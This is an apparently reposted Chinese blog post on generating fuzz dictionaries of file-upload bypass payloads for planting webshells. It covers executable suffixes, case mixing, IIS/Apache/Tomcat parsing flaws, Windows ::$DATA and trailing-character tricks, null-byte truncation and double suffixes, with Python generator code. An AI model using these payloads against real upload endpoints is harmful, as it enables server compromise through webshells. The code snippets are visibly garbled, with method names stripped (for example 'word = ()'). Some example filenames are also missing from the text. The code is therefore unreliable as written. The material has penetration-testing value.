2023年7月14日发(作者:)
构造优质上传漏洞fuzz字典上传漏洞的利⽤姿势很多,同时也会因为语⾔,中间件,操作系统的不同,利⽤也不同。⽐如有:⼤⼩写混合,.htaccess,解析漏洞,00截断,.绕过,空格绕过,::$DATA绕过,以及多种姿势的组合等等。当遇到⼀个上传点,如何全⾯的利⽤以上姿势测试⼀遍,并快速发现可以成功上传webshell的姿势?⽅案⼀:⼀个⼀个⼿⼯测试⼿⼯把所有姿势测试⼀遍,先不说花费⼤量时间,还很可能会遗漏掉某些姿势⽽导致⽆法利⽤成功。⽅案⼆:fuzz在fuzz时我们往往会给⼀个输⼊点喂⼊⼤量特殊的数据。这个特殊的数据可能随机的,毫⽆规律的,甚⾄我们都⽆法预知的。但我思考了⼀下,这样的fuzz⽅式只是适合在本地fuzz 0day漏洞,并不适合通过fuzz在线⽹站的上传点,快速找出可以成功上传webshell的payload,因为时间成本排在哪⾥。通过思考,我们可以知道如果能根据上传漏洞的场景(后端语⾔,中间件,操作系统)来⽣成优质的fuzz字典,然后使⽤该字典进⾏fuzz,就能消除以上两个解决⽅案的弊端!⼀、构想在动⼿之前我们来思考下上传漏洞跟那些因素有关:⼀、可解析的后缀,也就是该语⾔有多个可解析的后缀,⽐如php语⾔可解析的后缀为php,php2,php3等等⼆、⼤⼩写混合,如果系统过滤不严,可能⼤⼩写可以绕过。三、中间件,每款中间件基本都解析漏洞,⽐如iis就可以把;.jpg当asp来执⾏。四、系统特性,特别是Windows的后缀加点(.),加空格,加::$DATA可以绕过⽬标系统。五、语⾔漏洞,流⾏的三种脚本语⾔基本都存在00截断漏洞。六、双后缀,这个与系统和中间件⽆关,偶尔会存在于代码逻辑之中。整理以上思考,我们把⽣成字典的规则梳理为以下⼏条可解析的后缀+⼤⼩写混合可解析的后缀+⼤⼩写混合+中间件漏洞.htaccess + ⼤⼩写混合可解析的后缀+⼤⼩写混合+系统特性可解析的后缀+⼤⼩写混合+语⾔漏洞可解析的后缀+⼤⼩写混合+双后缀下⾯我们根据上⾯的构想,来分析每⼀⽅⾯的细节,并使⽤代码来实现。⼆、可解析后缀其实很多语⾔都这样,有多个可以解析后缀。当⽬标站点采⽤⿊名单时,往往包含不全。以下我收集相对⽐较全⾯的可解析后缀,为后⾯⽣成字典做材料。语⾔asp/aspxphpjsp可解析后缀asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cErphp,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtmljsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml## 三、⼤⼩写混合 有些⽹站过滤⽐较简单,只是过滤了脚本后缀,但是没有对后缀进⾏统⼀转换为⼩写,在进⾏判断。这就纯在⼀个⼤⼩写问题。这⾥我们可以编写两个函数,⼀个函数是传⼊⼀个字符串,函数返回该字符串所有⼤⼩写组合的可能,第⼆个函数是基于第⼀个函数,把⼀个list的传⼊返回⼀个list内所有字符的所有⼤⼩写组合的可能。##
字符串⼤⼩写混合,返回字符串所有⼤写可能def str_case_mixing(word): str_list = [] word = () tempWord = py(word) plist = [] redict = {} for char in range( len( tempWord ) ): char = word[char] (char)
num = len( plist ) for i in range( num ): for j in range( i , num + 1 ): sContent = ''.join( plist[0:i] ) mContent = ''.join( plist[i:j] ) mContent = () eContent = ''.join( plist[j:] ) content = '''%s%s%s''' % (sContent,mContent,eContent) redict[content] = None for i in (): str_(i) return str_list
## list⼤⼩写混合def list_case_mixing(li): res = [] for l in li: res += uperTest(l) return res四、中间件的漏洞这块是⽐较复杂的⼀块。⾸先我们先来梳理下4.1 iisiis⼀共有三个解析漏洞:6.0⽂件解析 ;.6.0⽬录解析 / 7.0畸形解析 /由于2和3和上传的⽂件名⽆关,故我们只根据1来⽣成fuzz字典def iis_suffix_creater(suffix): res = [] for l in suffix: str ='%s;.%s' % (l,allow_suffix) (str) return res4.2 apacheapache相关的解析漏洞有两个:%0a(CVE-2017-15715)未知后缀 根据以上构造apache_suffix_builder函数⽣成规则def apache_suffix_creater(suffix): res = [] for l in suffix: str = '%' % l (str) str = '%s%s' % (l,e('%0a')) #CVE-2017-15715 (str) return res4.3 nginxnginx解析漏洞有三个:访问连接加/ /畸形解析漏洞 %-2013-4547 (⾮编码空格)nx的解析漏洞,由于和上传的⽂件名⽆关,故⽣成字典⽆需考虑。4.4 tomcattomcat⽤于上传绕过的有三种,不过限制在windows操作系统下。/%::$DATA根据以上规则⽣成字典对应的代码为:win_tomcat = ['%20','::$DATA','/']def tomcat_suffix_creater(suffix): res = [] for l in suffix: for t in win_tomcat: str = '%s%s' % (l,t) (str) return res如果确定中间件为apache,可以加⼊.htaccess。同时如果操作系统还为windows,我们可以⼤⼩写混合。if (middleware == 'apache' or middleware == 'all') and (os == 'win' or os == 'all'): htaccess_suffix = uperTest(".htaccess")elif (middleware == 'apache' or middleware == 'all') and os == 'linux': htaccess_suffix = ['.htaccess']else: htaccess_suffix = []4.5 语⾔,中间件与操作系统的关系以上我们根据每个中间件的漏洞,编写了对应的fuzz字典⽣成函数。在最终⽣成字典时,我们还要考虑中间件可以运⾏那些语⾔,以及它们与平台的关系。语⾔asp/aspxphpjspIIS√√√Apache√√×Tomcat×√√Window√√√Linux√√√根据上表,我们明⽩iis下可以运⾏asp/aspx,php,jsp脚本,故这3种脚本语⾔可解析后缀均应该传⼊iis_suffix_builder()进⾏处理apache下可以运⾏asp/aspx,php。故这2两种脚本语⾔可解析后缀均应该传⼊apache_suffix_builder()进⾏处理tomcat下可以运⾏php,jsp,故这两个脚本语⾔可解析后缀均应该传⼊tomcat_suffix_builder()进⾏处理。注意:根据对tomcat上传的绕过分析,发现之后在windows平台下才能成功。故之后在Windows平台下才会调⽤tomcat_suffix_builder()对可解析后缀进⾏处理。故伪代码可以编写如下:if middleware == 'iis': case_asp_php_jsp_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_jsp_parse_suffix middleware_parse_suffix = iis_suffix_creater(case_asp_php_jsp_parse_suffix)elif middleware == 'apache': case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix middleware_parse_suffix = apache_suffix_creater(case_asp_php_html_parse_suffix)elif middleware == 'tomcat' and os == 'linux': middleware_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffixelif middleware == 'tomcat' and (os == 'win' or os == 'all'): case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix middleware_parse_suffix = tomcat_suffix_creater(case_php_jsp_parse_suffix)else: case_asp_php_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix iis_parse_suffix = iis_suffix_creater(case_asp_php_parse_suffix) case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix apache_parse_suffix = apache_build(case_asp_php_html_parse_suffix) case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix tomcat_parse_suffix = tomcat_build(case_php_jsp_parse_suffix)
middleware_parse_suffix = iis_parse_suffix + apache_parse_suffix + tomcat_parse_suffix五、系统特性经过查资料,⽬前发现在系统层⾯,有以下特性可以被上传漏洞所利⽤。Windows下⽂件名不区分⼤⼩写,Linux下⽂件名区分⼤写欧西Windows下ADS流特性,导致上传⽂件::$DATA = dows下⽂件名结尾加⼊.,空格,<,·>,>>>,0x81-0xff等字符,最终⽣成的⽂件均被windows忽略。#
⽣成0x81-0xff的字符listdef str_81_to_ff(): res = [] for i in range(129,256): str = '%x' % i str = '%' + str str = e(str) (str) return reswindows_os = [' ','.','/','::$DATA','<','>','>>>','%20','%00'] + str_81_to_ff()def windows_suffix_builder(suffix): res = [] for s in suffix: for w in windows_os: str = '%s%s' % (s,w) (str) return res六、语⾔的漏洞语⾔漏洞被利⽤于上传的有%00截断和0x00截断。它们在asp,php和jsp中都存在着。def str_00_truncation(suffix,allow_suffix): res = [] for i in suffix: str = '%s%s.%s' % (i,'%00',allow_suffix) (str) str = '%s%s.%s' % (i,e('%00'),allow_suffix) (str) return res七、双后缀有些站点通过对上传⽂件名进⾏删除敏感字符(php,asp,jsp等等)的⽅式进⾏过滤,例如你上传⼀个的⽂件,那么上传之后就变成了。这时就可以利⽤双后缀的⽅式上传⼀个,最终正好⽣成。其实双后缀与中间件和操作系统⽆关,⽽是和代码逻辑有关。针对双后缀,我们可以写个str_double_suffix_creater(suffix)函数,传⼊后缀名suffix即可⽣成所有的双后缀可能。def str_double_suffix_creater(suffix): res = [] for i in range(1,len(suffix)): str = list(suffix) (i,suffix) ("".join(str)) return res在list_double_suffix_creater(suffix)函数基础上,可以编写list_double_suffix_creater(list_suffix)来为⼀个list⽣成所有双后缀可能。def list_double_suffix_creater(list_suffix): res = [] for l in list_suffix: res += double_suffix_creater(l) return duplicate_removal(res)⼋、整合代码上⾯我们针对和上传漏洞相关的每个⽅⾯进⾏了细致的分析,也提供了相关的核⼼代码。最终整合后的代码限于边幅,就放在github上了。github:$ python -husage: upload-fuzz-dic-builder [-h] [-n] [-a] [-l] [-m] [--os] [-d] [-o]optional arguments: -h, --help show this help message and exit -n , --upload-filename Upload file name -a , --allow-suffix Allowable upload suffix -l , --language Uploaded script language -m , --middleware Middleware used in Web System --os Target operating system type -d, --double-suffix Is it possible to generate double suffix? -o , --output Output file脚本可以之定义⽣成的上传⽂件名(-n),允许的上传的后缀(-a),后端语⾔(-l),中间件(-m),操作系统(–os),是否加⼊双后缀(-d)以及输出的字典⽂件名(-o)。我们可以根据场景来⽣成合适的字典,提供的信息越详细,脚本⽣成的字典越精确。转⾃:
发布者:admin,转转请注明出处:http://www.yc00.com/news/1689309449a228516.html
评论列表(0条)